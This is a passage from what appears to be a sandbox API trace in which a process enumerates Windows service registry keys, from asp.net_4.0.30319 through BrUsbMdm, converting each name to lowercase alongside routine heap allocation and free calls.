lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0248.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.166] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.166] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.166] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.166] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0248.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f19b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.167] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.167] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.167] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0248.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.168] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.168] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.168] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0248.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.169] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.169] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.169] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.169] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0248.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.170] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.170] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.170] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0248.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.171] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.171] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.171] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.172] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, 